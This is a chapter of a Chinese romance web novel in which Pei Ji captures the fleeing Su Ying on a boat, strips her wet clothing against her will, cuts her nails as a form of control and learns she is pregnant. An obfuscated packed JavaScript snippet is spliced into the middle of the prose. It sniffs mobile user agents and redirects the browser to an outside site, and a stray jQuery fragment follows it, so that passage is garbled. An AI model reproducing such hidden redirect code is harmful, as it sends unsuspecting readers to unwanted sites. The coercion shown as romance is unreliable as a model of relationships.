第 50 章 “玩够了吗?”
作品:《惑兄》 雨不知什么时候又大了,一声接着一声,连绵不断打在船篷上,舱门口有风,吹得那盏孤灯摇摇欲坠,于是裴羁的脸便跟着一时阴一时晴,映得那双眸子越发深不见底,像致命的旋涡,拖着她不停下坠。
苏樱僵硬地站着,一句话也说不出来,脑子里有尖锐无声的呼救声响起,身体却不能做出任何反应,挣扎许久,也仅仅能够打叠起精神,回头一望。
这一眼,她看见了舱门前不知什么时候多出来的侍卫,密密麻麻围成两排站定,雨水顺着他们头上斗笠的边缘落下去,变成密密层层的雨帘,堵得那么严实,看不见岸上的周虎头在哪里,甚至看不见一同上船的阿周在哪里。
一霎时想明白了所有的一切,她是落进他圈套里了,白日里彭成来报信时她分明什么也不曾听见,转眼却那样大声地提起窦晏平。是说给她听的,引着她动。他带着人去官道堵截,是做给她看的,让她放松警惕,以为他走了。这条肯冒着风浪深夜起行的船,是他给她安排,诱她自投罗网的。
她是落进他手里了,这么多天的殚精竭虑,终于还是没能逃脱。
余光瞥见绯衣的影子一晃,裴羁动了,迎着她走过来,又擦着她身边走过去,关上了舱门。
湿冷的空气全都被阻隔在外,雨声沉闷着,高高低低响在头顶,他回身过来,忽地握住她的手腕。
苏樱本能地挣扎,他握得很紧,她没能挣脱,想要说点什么,余光瞥见镜台里自己的脸,用以伪装的黄粉被雨水打湿,斑斑点点露出破绽,她是无可抵赖了,而他也深知这一点。
不由自主开始发抖,也许是太冷的缘故,整个人都。他默默看着没有说话,修长的手指带着雨夜里微凉的温度,忽地摘下她头上斗笠。
雨水滴滴落下,烛光似是受了惊,陡然一跳,苏樱下意识地闭眼,他幽深目光在她脸上微微一瞬,淡淡的语气:“玩够了吗?”
玩够了吗?她苦苦支撑这么多天,在他眼中都是猫儿爪子底下的小鼠,供他好整以暇地问这一句,玩够了吗。
恨怒一霎时强烈到极点,压倒了惧意,苏樱重重甩开他的手,想说什么,又不知道该说什么,肩上突然一轻,裴羁拿开她披着的蓑衣。
原本沾了雨水湿淋淋地挨着,此时被他随手向
角落里一丢苏樱骤然从湿冷中解脱下一息他凑近了伸手搭上她颈间衣带。
手指沾了蓑衣上的水湿冷着像是毒蛇浑身的毛孔都在此时炸开苏樱厉声道:“别碰我!”
裴羁抬眉看见她因为发怒扬起的眉她攥着拳咬着牙像急怒的小兽亮出指爪准备自卫。她以为他要做什么?在她这样狼狈疲惫的时候动她吗?裴羁微哂修长手指随即一勾。
衣带应声而开露出里面素白的中衣苏樱恨到极点拼尽全身力气狠狠将他一推搡:“滚开!”
裴羁顺着来势一让化解了力道带着怒恼:“放肆!”
放肆什么?他以为他是谁高高在上问她玩够了吗高高在上叱她放肆。苏樱咬着牙不管不顾又是拼命一推。
裴羁一把攥住她动不得索性拳打脚踢起来恶狠狠地瞪着他口中嚷着:“放开我你放开我!”
这不是他预想中再次相见的情形裴羁紧紧压着眉。十数日不见她在从前的不驯服之外又多了固执野性怎么都不肯按着他的步子来。原是想心平气和地解决当下的局面此时却陡然生了怒气用力一扯。
嗤啦剩下几根衣带都被扯断苏樱看见他带着怒气晦涩的脸他微微抿唇越过她的抵挡伸手向她腋下。苏樱挣扎着一脚踢过去脚踝被他攥住了他沉着脸向外一拉扯下她身上带着湿气的外衫。
“你放开我放开!”苏樱怒斥着屈膝向他撞去
单手一抖一甩绯衣落在手中。
烛焰被袍角带起的风扇动剧烈摇晃起来苏樱喘着气看见他的脸陡然放到最大随即长臂一伸将绯衣披上她肩头。
带着他的体温让人错愕他冷着脸向后一步按她在榻上坐下。
舱里又安静下来烛焰晃了几下慢慢稳住他伸手抚上她冰凉的脸。
心里砰砰乱跳着连日来筋疲力尽方才的挣扎已经耗尽了全部力气苏樱喘息着一点点压下愤怒。他并不是要动她她没必要跟他硬顶以她的力气硬顶更是没有丝毫胜算那就不如继续周旋。
长长吐一口气安静下
来。
裴羁轻轻握住她的脸。久违的柔软细滑的滋味让人几乎忍不住想要喟叹出声又沉默着压下。
这十几天里无时无刻不在想她无时无刻不在想着抓到她后给她怎样的惩罚可此时抓到了人就在手里握着那样放肆地挑衅他叱骂着他他唯一的念头却是她衣服湿了天冷须得披件干的。
他是真的无可救药。
手指慢慢抚过带着贪婪一点点感受这柔软的触感那令人沉迷的感觉又来了原以为抓到她解了怒气沉迷或可消减可此时却突然发现只会越陷越深不会再有别的出路。
苏樱无法再安静。他这动作像是恶兽在检查自己的领地带着不容置疑的独占和侵略让人头皮发麻寒毛直竖。挣扎了几下没能躲开他一只手牢牢箍着她另只手慢慢抚过她的脸颊握住下巴拇指的指腹摩挲几下就着未干的雨水擦了擦她脸上涂的黄粉。
雨不知什么时候又小了淅淅沥沥不住声地在头顶响着船不知什么走了许是有风浪忽地晃了一下烛台忽一下滑向桌角他伸指一挡拿起来挂在壁上烛光全都向这边逼住照住她斑驳狼藉的脸。
心里一阵羞恼苏樱转过脸。
裴羁捏着下巴轻轻又扳回来对着烛光细细端详。雨水和着黄粉斑斑驳驳的并不好看可在他看来却与从前那个雪肤花貌的苏樱毫无两样。让人突然意识到原来太过深刻地记住一个人的时候再看她就不再是皮相无论她变成什么模样他都能够透过那些伪装看到她真正的样貌。
这也就解释了为什么前些天一看到她总有那么强烈的熟悉感。
裴羁轻轻擦了几下白皙的肌肤透出来烛光下闪亮的白。
手指上染了黄色起身洗干净了重又倒了半盆温水拧了条湿布巾回头看时她垂头坐在榻上烛光下单薄的肩她这些天
在她身边坐下握住她的下巴扳过脸裴羁一点点细细擦拭。
苏樱很快闭上眼睛。不肯看他他也没有勉强温热的布巾慢慢从额头到脸颊又在眼角轻轻按了按明明恨到极点却突然想起很久之前那天隔着细竹帘子看见他
给裴则擦泪。
她的贪念就在那时萌生为着一声哥哥让自己落到了这个境地。
眼泪突然就忍不住顺着紧闭的眼角飞快地落下。
裴羁顿了顿意识到这次是真的哭了并不是从前那种算计着的为了达到什么目的掉的眼泪。她从来顽强自从他们走到这一步她便不曾在他面前哭过怎么突然哭了还伤心成这样。
让他突然心软到极点伸手想替她擦她愤愤躲开自己擦了依旧闭着眼仰着头不肯看他。
如此不驯一次又一次挑战他的底线他却只是一次又一次放任。裴羁垂头在沉默的对峙中慢慢将她脸上的黄粉全都擦拭干净。
原本白皙的肌肤显现出来烛火下似泛着光泽香软温暖。心跳突然旖旎吸引着让人不由自主只想靠近再靠近一点想亲吻想楼她在怀里埋在她颈间但是不能她给了他前所未有的羞辱和挫败若是就这么轻轻放过她得知他的心意必定又要肆意践踏。
起身洗干净毛巾拿起苏樱的手慢慢又擦起来。
水开始是温热的现在已经冷了他擦得很仔细连指甲侧面也都擦得干净他捏着她手指的时候动作轻柔就好像他们不是这般可笑的关系而是情人一般。苏樱突然觉得极其荒谬可笑重重甩开手。
手指擦着他的脸颊过去指甲参差不齐在眼角划出血痕细密尖锐的疼。裴羁一把抓住压抑的怒火和着不知如何处置她的郁燥沉声道:“闹够了没有?”
“没有。”苏樱睁开眼看见他眸中跳荡的烛火
啪裴羁重重摔下毛巾。
湿湿的在案上摔下一个印子高处的烛火受了惊飘摇着又荡了几下郁燥总无处发泄她一句话说完便又闭上眼仰着头靠住凭几不再看他冷静荡然无存裴羁捉住她的手解下蹀躞带上的剪刀咔嚓一声将参差不齐的指甲连根剪断。
苏樱头皮发着紧本能地睁开眼。他握着剪刀看她一眼方才的怒气不见了又是素日里冷静萧肃的裴羁。他慢慢捏住下一根手指。
苏樱屏住了呼吸。想起长安那
夜他一个接着一个,将她十根指甲全都剪断的情形,他知道她怕这个,他要折磨她。
咔嚓,第二根指甲连根剪断。这些天里她到底在做什么,每根指甲都有劈断的痕迹,指甲缝里还留着淡淡的绿色,把自己弄得如此狼狈。裴羁抬眼,看见她尖尖瘦瘦的下巴,眼睛下淡淡的青灰色,她闭着眼靠着凭几,单薄得像一片薄薄的瓷,随时都可能破碎,心陡然沉下去,裴羁吐口气,低低说道:“认个错,这件事我可以放过。
苏樱猛地瞪大了眼睛。
心中生出巨大的荒谬感,已经忘了要跟他周旋,冷笑一声:“是么?那我是不是还得跪下来谢你宽宏大量?
这不是他想要的回答,裴羁压着眉:“苏樱。
休要如此得寸进尺,他已经在忍让,她却丝毫不肯罢休。
“怎么,她立刻抬眉,挑衅的神色,“跪下来不够吗?裴舍人想要我如何?
咔,又一根指甲齐根剪断,裴羁压着怒火,淡淡说道:“这次就算了,休要再有下次。
她不肯让,他偶尔让一步,也不算过分。
她却猛地撤手,他手中的剪刀失了准头,直直向她戳去,裴羁另只手急忙按住,锋刃戳到了自己,按下去一个小坑,拿开时渗着血。她并不看他,依旧是冷笑:“裴舍人好生宽宏大量,真让我不知该如何感激了。
啪!剪刀重重拍在案上,裴羁抬眼:“苏樱!
“怎么?苏樱立刻应声,丝毫不肯退让的神色,“让我想想裴舍人准备怎么算了,不计较我只给了一文钱?不计较我害你找了这么多天?难不成还要娶我?
裴羁顿了顿,心口处贴着的铜钱突然又开始发烫,眼前蓦地闪现出梦里的青庐,紧握团扇的她,团扇撤下后她温柔含笑的脸。
娶她。这一次,他竟不曾像先前那样,斩钉截铁地拒绝。
苏樱却并没有留意到他晦涩的神情:“裴舍人是不是忘了,当初是谁说的,一次之后,放我离开?这就是你信守的承诺?好个名满天下的君子裴羁!
鼻尖突然酸涩,害得尾音也跟着哽咽,苏樱急急刹住。
不想哭,尤其不想在他面前哭。那天她真不该放下手中刀,该给他来上一刀,就不会有今日的窘迫耻辱。
短暂的沉默之后,听见他淡淡的回应:“我反悔了。
抬眼,对上他沉沉的脸,他转过头,似是不想看她一般,让她紧绷的精神一下子绷断。她早知道他反悔,早知道他不打算放过她,但他竟能如此若无其事,当着她的面亲口说出!恨怒到极点,苏樱呼一下坐起:“你说反悔便反悔?你当我是什么,娼妓吗?
裴羁心里一跳,说不出话,心脏仿佛被那两个字刺伤,怪异的疼。眼前又在闪现出梦里的青庐,团扇后他殷殷期盼的她,这件事已经彻底脱离了他的掌控,然而现在,他却不知道下一步该当怎么办。
他从不起誓,因为从不食言,但对上她,他所熟悉的一切,包括他的原则,都已经面目全非。
苏樱咬着牙,等着他的回答,他却只是沉默着不说话,满腔怒火找不到出口,用力将身前的书案一掀。
嚯啷一声,镜台、布巾,蹀躞带,案上所有的东西都
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13069313|137894||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
被掀翻在地上,是面错金的葵口镜,骨碌碌滚到角落,露出镜子背面纠缠蜷曲的缠枝花纹。
咔,裴羁伸手按住:“苏樱。
话到嘴边又不知该说什么,只是念着她的名字,重又沉默下去。
所有的精神都被这一掀耗尽,苏樱冷冷看他一眼,靠回凭几,重又闭上眼睛。
雨仿佛又大了,噼里啪啦敲打着船篷,她在不说话,他也不知道该说什么,在沉默中拿起她的手,将未剪的指甲一个个剪完,锉刀打磨得光滑,轻轻放回去。
她不曾有任何反抗,安静温顺得像个人偶。裴羁低着眼,看见她手背上不曾擦干净的,淡淡的黄色,脸上也有,她这些天大概是片刻不曾卸下过伪装,皮肤沾染了这些东西,绝不会舒服。
裴羁起身,拿起水盆。
苏樱听见开窗的动静,外面的雨声哗一下闯进耳朵里,又哗一下重新被挡在外面,他泼了水关了窗,重新倒了温水洗毛巾,再又坐下,握住她的脸。
温热柔软的毛巾细细又擦一遍,额头,眼睛,脸颊,嘴唇,然后是手指。
单调重复的动作,单调重复的雨声,拍打着客船的,单调重复的水声。他这人阴狠独断,偏偏做这些事,又有无限的耐心细致。苏樱闭着眼,觉得疲惫,觉得无趣,仿佛又回到那个梦境,到处都是虚空,到处看不见路
,她拼命跑着,逃着,但其实跑和逃都没有什么要紧,她根本跑不掉。
又何必苦苦挣扎。心里一直燃烧的火苗晃了几下,归于沉寂,苏樱在恍惚中,重又坠入那片虚空。
裴羁放下了布巾。换了条干净的,将她还有些湿意的额发也擦干了,她始终不曾睁开眼睛,先前是略微急促的呼吸,此时变得绵长轻软,她睡着了。
雨停了,许是涨了水,水声哗啦哗啦拍着船体,晃晃荡荡,裴羁沉默地看着她安静的睡颜。
眉头微微蹙着,红唇抿着,手不知什么时候攥了拳,梦里也不能轻松的神情。让他说不出心里是什么滋味,伸手将她拧在一起的眉头轻轻抚平。他该如何,安置她。
湿漉漉的蓑衣和斗笠丢在墙角,夜里觉得清寒,裴羁开了门正要放出去,忽地想起这是周虎头的东西,扬手一甩,扑通一声扔进水里。门外值夜的侍卫被响声惊动,齐齐看过来,裴羁沉默着想要进门,旁边客舱里阿周急急探头出来:“裴郎君,小娘子怎么样了?求求你不要难为她!
他为什么要难为她。今夜自是始终,都是她对着他发脾气。一言不发关了门,苏樱还不曾醒,眉头又蹙上了,单薄的一片靠着凭几,裴羁弯腰抱起,她并没有醒,轻飘飘的在他怀里,腿垂下来,腿弯便搭在他臂弯上。
千里迢迢,不眠不休,终于抓到了她。眼下,却不知道该拿她怎么办。
抱去榻上放好,脱了鞋,拿过被子齐着下巴盖好,轻轻将她的眉头再又抚平。她只是沉沉睡着,头发凌乱着堆在脸侧,漆黑中脆弱的白。
裴羁慢慢在她身边坐下,伸手搭着她一点的肩膀,仿佛是搂着她了。她没什么反应,重又蹙紧了眉头,外面风吹着浪,拍的船体有节奏的摇晃,裴羁合衣闭目,随着她的绵长的呼吸,一点点调匀自己的呼吸。
今夜先不去想,等明天,他会知道该怎么待她。
翌日。
苏樱醒来时太阳已经很高了,从高处的小窗透进来,亮晃晃地拖在床榻间,精神有片刻恍惚,要回想一下,才能想起来自己身在哪里,昨夜发生了什么,但这结果,并不让人振奋。
便只是躺着,不想动,不想说话,昨日那些挣扎着让人片刻不能安宁的念头全都没有了,只想就这么躺着,随便他如何罢
了。
舱门突然开了,有脚步声一径往跟前来,是裴羁。苏樱懒得睁眼,一动不动躺着。
裴羁很快走到近前,看见她低垂的眼皮,长睫毛投下的浓密阴影。仿佛还睡着,但他知道她醒了。
倒了一盅温水在她旁边坐下,低声道:“起来。
苏樱懒得动,依旧躺着。
裴羁等了一会儿,放下水盏,伸手一捞将她抱起,她也不反抗,靠在他臂弯里,慢慢睁开眼。
像古井里的水,没有一丝波澜,裴羁心里突地一沉。
拿起水盏凑在她唇边,轻声道:“漱口。
苏樱懒得反抗,他喂她,她便含着漱了,他重又倒了一盏温水递过来,她并不觉得渴,但也喝了,他给她穿了衣服,又拿起她的鞋子,仿佛要替她穿,到底又放下:“下来吃饭。
苏樱便自己穿了,外面阿周得了消息赶来,捧着食案,红红一双眼紧紧打量着她:“小娘子,你没事吧?
苏樱摇摇头,懒得说话,由她扶着在案前坐好,她送过粥碗,她便接过来吃,船上大约用的是河水,带着说不出的一股子腥味,让她陡然觉得恶心,吐出来,将碗推开。
“小娘子,阿周急急过来给她拍背,柔声安抚,“我再去给你盛一碗。
不想吃了。苏樱摇摇头,起身想回床上躺着,裴羁一把拉住:“吃饭。
她淡淡看他一眼,依旧是古井无波的眼神,她脸色比昨夜好了些,不再是那种一碰就碎的苍白,但她又有了昨夜那种安静得像人偶似的感觉。心里突然有点慌,裴羁定定神,也许她是太累了,好好吃饭好好睡觉,养几天就好了,不能由着她的性子胡闹。
将人拉回案前坐下,阿周已经重新盛了一碗粥,裴羁接过来舀了一勺,送到她嘴边。
苏樱躲了下没躲开,便只是抿着嘴,米粥顺着嘴角流下来,裴羁擦了一下没擦干净,啪一声放下碗:“苏樱!
带着怒握她的脸,胳膊突然被拉住了,裴羁抬眼,阿周慌张着:“你别吓她,她,她已经有身孕了!
心里突地一跳,裴羁低眉。
作者有话要说